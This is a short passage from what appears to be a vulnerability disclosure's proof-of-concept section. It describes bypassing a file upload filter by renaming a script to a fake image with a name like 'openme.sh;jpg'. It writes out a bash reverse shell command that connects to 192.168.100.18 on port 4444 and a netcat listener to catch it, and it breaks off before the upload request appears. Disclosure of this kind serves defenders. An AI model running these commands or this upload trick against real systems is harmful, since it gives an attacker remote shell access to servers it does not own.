2. Technical Details & POC
========================================

1.The attacker first creates a txt file and pastes the following code. Next, the Attacker changes the file extension to jpg. Because the system php,sh,exe etc. It does not allow files. 

bash -i >& /dev/tcp/192.168.100.18/4444 0>&1

2.Then the attacker starts listening for ip and port 
 nc -lvp 4444
 
3.and when uploading file it makes http request as below.file name should be like this      openme.sh;jpg
